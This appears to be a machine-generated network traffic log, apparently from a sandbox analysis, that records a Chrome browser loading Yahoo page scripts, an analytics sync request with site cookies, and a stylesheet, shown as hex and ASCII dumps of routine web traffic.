2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 2b 7b 30 3a 22 34 63 36 34 39 34 39 39 35 37 22 7d 5b 65 5d 2b 22 2e 63 68 75 6e 6b 2e 6a 73 22 3b 76 61 72 20 75 3d 73 65 74 54 69 6d 65 6f 75 74 28 72 2c 31 32 65 34 29 3b 72 65 74 75 72 6e 20 73 2e 6f 6e 65 72 72 6f 72 3d 73 2e 6f 6e 6c 6f 61 64 3d 72 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 2c 6f 7d 2c 74 2e 6d 3d 65 2c 74 2e 63 3d 6e 2c 74 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 6e 29 7b 74 2e 6f 28 65 2c 72 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 6e 7d 29 7d 2c 74 2e 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 66 75 6e Data Ascii: +{0:"4c64949957"}[e]+".chunk.js";var u=setTimeout(r,12e4);return s.onerror=s.onload=r,a.appendChild(s),o},t.m=e,t.c=n,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?fun
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 3f 65 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c Data Ascii: turn!t\|\|"object"!=typeof t&&"function"!=typeof t?e:t}function u(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 64 45 76 65 6e 74 2c 4f 3d 70 2e 75 72 6c 69 66 79 2c 6b 3d 5b 22 68 61 6e 64 6c 65 53 75 62 6d 69 74 22 2c 22 68 61 6e 64 6c 65 4f 6e 43 68 61 6e 67 65 22 2c 22 68 61 6e 64 6c 65 4f 6e 53 75 62 6d 69 74 22 5d 2c 4c 3d 5b 22 61 63 74 69 6f 6e 22 2c 22 66 6f 63 75 73 22 5d 2c 54 3d 22 77 61 66 65 72 2d 66 6f 72 6d 2d 62 6f 75 6e 64 61 72 79 2d 65 72 72 6f 72 22 2c 6a 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 2e 63 68 65 63 6b 56 61 6c 69 64 69 74 79 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 Data Ascii: dEvent,O=p.urlify,k=["handleSubmit","handleOnChange","handleOnSubmit"],L=["action","focus"],T="wafer-form-boundary-error",j="function"==typeof document.createElement("input").checkValidity,P=function(e){function t(e){var r=arguments.length>1&&void 0!==arg
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 74 65 78 74 61 72 65 61 22 29 29 29 2c 42 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 74 72 69 67 67 65 72 2d 73 75 62 6d 69 74 22 29 7d 29 2c 75 2e 5f 75 74 69 6c 3d 6c 28 7b 7d 2c 75 2e 5f 75 74 69 6c 2c 7b 61 63 74 69 6f 6e 3a 63 2c 62 6f 75 6e 64 61 72 79 3a 66 2c 63 61 63 68 65 3a 6e 75 6c 6c 3d 3d 3d 6d 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6d 3f 30 3a 4e 75 6d 62 65 72 28 6d 29 2c 63 72 69 74 69 63 61 6c 3a 70 2c 63 75 73 74 6f 6d 53 75 63 63 65 73 73 43 6c 61 73 73 3a 76 2c 74 61 72 67 65 74 45 6c 65 6d 3a 53 26 26 28 56 7c 7c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 53 29 Data Ascii: getElementsByTagName("textarea"))),B.forEach(function(e){e.classList.add("trigger-submit")}),u._util=l({},u._util,{action:c,boundary:f,cache:null===m\|\|void 0===m?0:Number(m),critical:p,customSuccessClass:v,targetElem:S&&(V\|\|document.body).querySelector(S)
2024-01-10 23:27:12 UTC	1035	IN	Data Raw: 74 43 68 61 6e 67 65 29 2c 67 28 74 2c 22 6b 65 79 64 6f 77 6e 22 2c 65 2e 68 61 6e 64 6c 65 49 6e 70 75 74 43 68 61 6e 67 65 2c 7b 70 61 73 73 69 76 65 3a 21 31 7d 29 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 72 3d 74 2e 65 6c 65 6d 3b 74 2e 65 6c 65 6d 73 57 69 74 68 4f 6e 43 68 61 6e 67 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 67 28 74 2c 22 63 68 61 6e 67 65 22 2c 65 2e 68 61 6e 64 6c 65 4f 6e 43 68 61 6e 67 65 29 7d 29 2c 67 28 72 2c 22 73 75 62 6d 69 74 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 4f 6e 53 75 62 6d 69 74 2c 7b 70 61 73 73 69 76 65 3a 21 31 7d Data Ascii: tChange),g(t,"keydown",e.handleInputChange,{passive:!1}))})}},{key:"addEventListeners",value:function(){var e=this,t=this._util,r=t.elem;t.elemsWithOnChange.forEach(function(t){g(t,"change",e.handleOnChange)}),g(r,"submit",this.handleOnSubmit,{passive:!1}
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 7d 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 29 7d 7d 72 65 74 75 72 6e 20 65 7d 7d 2c 7b 6b 65 79 3a 22 66 6f 63 75 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 21 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 65 6e 74 54 6f 46 6f 63 75 73 29 7b 76 61 72 20 74 3d 77 28 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 69 6e 70 75 74 22 29 29 5b 30 5d 3b 69 66 28 21 74 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 65 6e 74 54 6f 46 6f 63 75 73 3d 74 7d 74 68 69 73 2e 5f 75 74 Data Ascii: }}).then(function(){return e}).catch(function(){return e})}}return e}},{key:"focus",value:function(){var e=this;if(!this._util.elementToFocus){var t=w(this._util.elem.getElementsByTagName("input"))[0];if(!t)return null;this._util.elementToFocus=t}this._ut
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 75 74 69 6c 2e 70 65 6e 64 69 6e 67 26 26 73 29 7b 76 61 72 20 66 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 3b 74 68 69 73 2e 5f 75 74 69 6c 2e 70 65 6e 64 69 6e 67 3d 21 30 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 73 75 62 6d 69 74 41 6c 6c 6f 77 65 64 3d 21 30 2c 66 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 6f 72 6d 2d 69 6e 63 6f 6d 70 6c 65 74 65 22 29 2c 66 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 66 6f 72 6d 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 74 68 69 73 2e 66 6f 72 6d 56 61 6c 75 65 73 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f Data Ascii: util.pending&&s){var f=this._util.elem;this._util.pending=!0,this._state.submitAllowed=!0,f.classList.remove("wafer-form-incomplete"),f.classList.add("wafer-form-inprogress"),this.formValues.then(function(){var r=arguments.length>0&&void 0!==arguments[0]?
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 20 6e 3d 72 2e 68 74 6d 6c 3b 79 28 67 2c 6e 29 2c 6d 2e 73 79 6e 63 41 73 73 65 74 73 28 72 2e 61 73 73 65 74 73 29 2c 6d 2e 73 79 6e 63 28 67 29 7d 72 65 74 75 72 6e 20 6c 26 26 66 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 6c 29 2c 66 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 6f 72 6d 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 66 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 62 29 2c 6d 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 66 6f 72 6d 3a 73 75 62 6d 69 74 22 2c 7b 65 6c 65 6d 3a 66 2c 6d 65 74 61 3a 7b 64 61 74 61 3a 72 7d 7d 29 2c 21 63 7c 7c 74 2e 73 75 62 6d 69 74 46 6f 72 6d 28 65 2c 7b 66 6f 72 63 65 50 72 65 66 65 72 65 6e 63 65 3a 21 30 7d 29 7d 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e Data Ascii: n=r.html;y(g,n),m.syncAssets(r.assets),m.sync(g)}return l&&f.classList.add(l),f.classList.remove("wafer-form-inprogress"),f.classList.add(b),m.emitWaferEvent("form:submit",{elem:f,meta:{data:r}}),!c\|\|t.submitForm(e,{forcePreference:!0})}}).catch(function
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 22 20 22 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 49 6e 70 75 74 43 68 61 6e 67 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 72 3d 74 2e 65 6c 65 6d 2c 6e 3d 74 2e 65 72 72 6f 72 43 6c 61 73 73 2c 69 3d 65 2e 74 61 72 67 65 74 3b 72 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 6f 72 6d 2d 69 6e 63 6f 6d 70 6c 65 74 65 22 2c 6e 29 2c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 6f 72 6d 2d 65 6c 65 6d 2d 65 72 72 6f 72 22 29 2c 69 2e 73 65 74 43 75 73 74 6f 6d 56 61 6c 69 64 69 74 79 28 22 22 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 4f 6e 43 68 61 6e 67 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: " ")}},{key:"handleInputChange",value:function(e){var t=this._util,r=t.elem,n=t.errorClass,i=e.target;r.classList.remove("wafer-form-incomplete",n),i.classList.remove("wafer-form-elem-error"),i.setCustomValidity("")}},{key:"handleOnChange",value:function(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49857	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	1003	OUT	GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-01-10 23:27:12 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:12 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC=19cw~2g3z;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:12 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.94
2024-01-10 23:27:12 UTC	54	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 33 56 43 6c 6c 4d 4e 45 32 75 4b 39 34 31 6c 4f 5f 68 52 59 50 69 49 36 4f 37 7a 43 30 64 34 54 7e 41 22 7d 0d 0a Data Ascii: 30{"axid": "y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A"}
2024-01-10 23:27:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49860	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	556	OUT	GET /aaq/c/97a7f1a.caas-news_web.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	790	IN	HTTP/1.1 200 OK x-amz-id-2: EUCeH8TA1Oyg3d3h+E3fscx82DHOAW1Q0LXyiXVdIgLDj/1bosjil5lLmDJHyrP2Lq1FnsIX2XY= x-amz-request-id: 89A7Q2PDY8DZBFR2 Date: Wed, 10 Jan 2024 23:27:13 GMT Last-Modified: Mon, 08 Jan 2024 10:00:04 GMT ETag: "c56dc58e7fefff3e49edb406370cc132" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: BXkqzmJbwLqkjb0Svg_H23qG9ycZh6ju Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 204597 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	805	IN	Data Raw: 40 6b 65 79 66 72 61 6d 65 73 20 73 6c 69 64 65 55 70 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 32 30 30 25 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 61 64 68 69 64 65 7b 30 25 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 74 6f 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 68 6f 77 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 31 30 70 78 29 7d 38 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 74 6f 7b 6f 70 61 Data Ascii: @keyframes slideUp{0%{transform:translateY(200%)}to{transform:translateY(0)}}@keyframes adhide{0%{visibility:visible}to{visibility:hidden}}@keyframes show-success-message{0%{opacity:0;transform:translateY(10px)}80%{opacity:1;transform:translateY(0)}to{opa
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 61 6e 69 6d 61 74 65 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 30 25 2c 30 2c 30 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 30 25 2c 30 2c 30 29 7d 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 59 61 68 6f 6f 53 65 72 69 66 44 69 73 70 6c 61 79 22 3b 73 72 63 3a 6c 6f 63 61 6c 28 22 59 61 68 6f 6f 20 53 65 72 69 66 20 44 69 73 70 6c 61 79 22 29 2c 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 64 65 66 61 75 6c 74 2f 66 6f 6e 74 73 2f 59 61 68 6f 6f 53 65 72 69 66 44 69 73 70 6c 61 79 2d 42 6f 6c 64 2d 57 65 62 2e 65 6f 74 29 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 Data Ascii: animate{0%{transform:translate3d(-100%,0,0)}to{transform:translate3d(100%,0,0)}}@font-face{font-family:"YahooSerifDisplay";src:local("Yahoo Serif Display"),url(https://s.yimg.com/cv/apiv2/default/fonts/YahooSerifDisplay-Bold-Web.eot)format("embedded-opent
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 38 35 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 33 33 7d 2e 63 61 61 73 20 68 34 7b 6d 61 72 67 69 6e 3a 35 70 78 20 30 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 38 30 30 7d 2e 63 61 61 73 20 2e 68 69 64 65 2c 2e 63 61 61 73 2e 68 69 64 65 2d 70 65 6e 64 69 6e 67 2d 74 77 65 65 74 20 2e 74 77 69 74 74 65 72 2d 74 77 65 65 74 2d 77 72 61 70 70 65 72 20 2e 63 61 61 73 2d 63 61 72 64 2d 6c 6f 61 64 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 63 61 61 73 20 2e 74 77 69 74 74 65 72 2d 74 77 65 65 74 2d 77 72 61 70 70 65 72 20 2e 74 77 69 74 74 65 72 2d 74 77 65 65 74 2d 72 65 6e 64 65 72 65 64 20 69 66 72 61 6d 65 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 33 70 78 7d 2e 63 61 61 73 20 2e 73 74 72 69 6b Data Ascii: font-size:1.385em;line-height:1.33}.caas h4{margin:5px 0;font-weight:800}.caas .hide,.caas.hide-pending-tweet .twitter-tweet-wrapper .caas-card-loader{display:none}.caas .twitter-tweet-wrapper .twitter-tweet-rendered iframe{border-radius:13px}.caas .strik
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 61 74 69 76 65 7d 2e 63 61 61 73 20 2e 63 61 61 73 2d 74 6f 63 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 63 61 61 73 2d 74 6f 63 2d 73 75 62 68 65 61 64 69 6e 67 2d 65 6c 65 6d 65 6e 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 30 20 35 70 78 20 31 35 70 78 7d 2e 63 61 61 73 20 2e 63 61 61 73 2d 74 6f 63 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 63 61 61 73 2d 74 6f 63 2d 68 65 61 64 69 6e 67 2d 6c 69 6e 6b 2e 61 63 74 69 76 65 2c 2e 63 61 61 73 20 2e 63 61 61 73 2d 74 6f 63 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 63 61 61 73 2d 74 6f 63 2d 68 65 61 64 69 6e 67 2d 6c 69 6e 6b 2e 6e 6f 2d 68 65 61 64 69 6e 67 2c 2e 63 61 61 73 20 2e 63 61 61 73 2d 74 6f 63 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 63 61 61 73 2d 74 6f 63 2d 73 75 62 Data Ascii: ative}.caas .caas-toc-container .caas-toc-subheading-element{font-weight:400;padding:5px 0 5px 15px}.caas .caas-toc-container .caas-toc-heading-link.active,.caas .caas-toc-container .caas-toc-heading-link.no-heading,.caas .caas-toc-container .caas-toc-sub
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 68 74 3a 31 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 23 30 66 36 39 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 30 66 36 39 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 2e 63 61 61 73 2d 62 75 74 74 6f 6e 3a 76 69 73 69 74 65 64 2c 61 2e 63 61 61 73 2d 62 75 74 74 6f 6e 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 66 36 39 66 66 7d 2e 63 61 61 73 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 3a 6e 6f 74 28 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 29 2c 61 2e 63 61 61 73 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 3a 6e 6f 74 28 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 Data Ascii: ht:1;text-decoration:none;color:#0f69ff;border:1px solid #0f69ff;background-color:#fff;border-radius:2px;font-weight:600}.caas-button:visited,a.caas-button:visited{color:#0f69ff}.caas-button:focus:not(:focus-visible),a.caas-button:focus:not(:focus-visible
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6c 3a 23 66 66 66 3b 73 74 72 6f 6b 65 3a 23 66 66 66 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 7d 2e 63 61 61 73 20 2e 69 63 6f 6e 2e 69 63 6f 6e 2d 77 69 74 68 2d 6f 72 62 7b 68 65 69 67 68 74 3a 35 30 70 78 3b 77 69 64 74 68 3a 35 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 35 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 64 68 2f 61 70 2f 64 65 66 61 75 6c 74 2f 31 35 30 36 30 34 2f 6f 72 62 2e 70 6e 67 29 7d 2e 63 61 61 73 2d 69 6d 67 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 6e 6f 68 65 69 67 68 74 29 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c Data Ascii: l:#fff;stroke:#fff;stroke-width:0;vertical-align:bottom}.caas .icon.icon-with-orb{height:50px;width:50px;background-size:50px;background-image:url(https://s.yimg.com/dh/ap/default/150604/orb.png)}.caas-img-container:not(.noheight){position:relative;overfl
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 72 69 67 68 74 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 29 30 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 36 29 20 33 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 29 20 38 31 25 29 7d 2e 63 61 61 73 2d 69 6d 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 63 61 61 73 2d 69 6d 67 2d 6c 6f 61 64 65 72 20 2e 63 61 61 73 2d 69 6d 67 7b 6f 70 61 63 69 74 79 3a 30 7d 2e 63 61 61 73 2d 66 69 67 75 72 65 2d 77 69 74 68 2d 70 62 20 2e 63 61 61 73 2d 69 6d 67 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 6e 6f 68 65 69 67 68 74 29 20 69 6d 67 7b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 Data Ascii: nction:linear;background:linear-gradient(to right,rgba(255,255,255,0)0,rgba(255,255,255,.6) 30%,rgba(255,255,255,0) 81%)}.caas-img-container.caas-img-loader .caas-img{opacity:0}.caas-figure-with-pb .caas-img-container:not(.noheight) img{top:0;transform:tr
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 32 33 65 6d 7d 2e 63 61 61 73 2d 61 74 74 72 2d 6d 65 74 61 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 63 61 61 73 2d 61 74 74 72 2d 6d 65 74 61 2d 74 69 74 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 2c 22 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 2e 63 61 61 73 2d 61 74 74 72 2d 74 69 6d 65 2d 73 74 79 6c 65 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 32 33 65 6d 3b 63 6f 6c 6f 72 3a 67 72 61 79 7d 2e 63 61 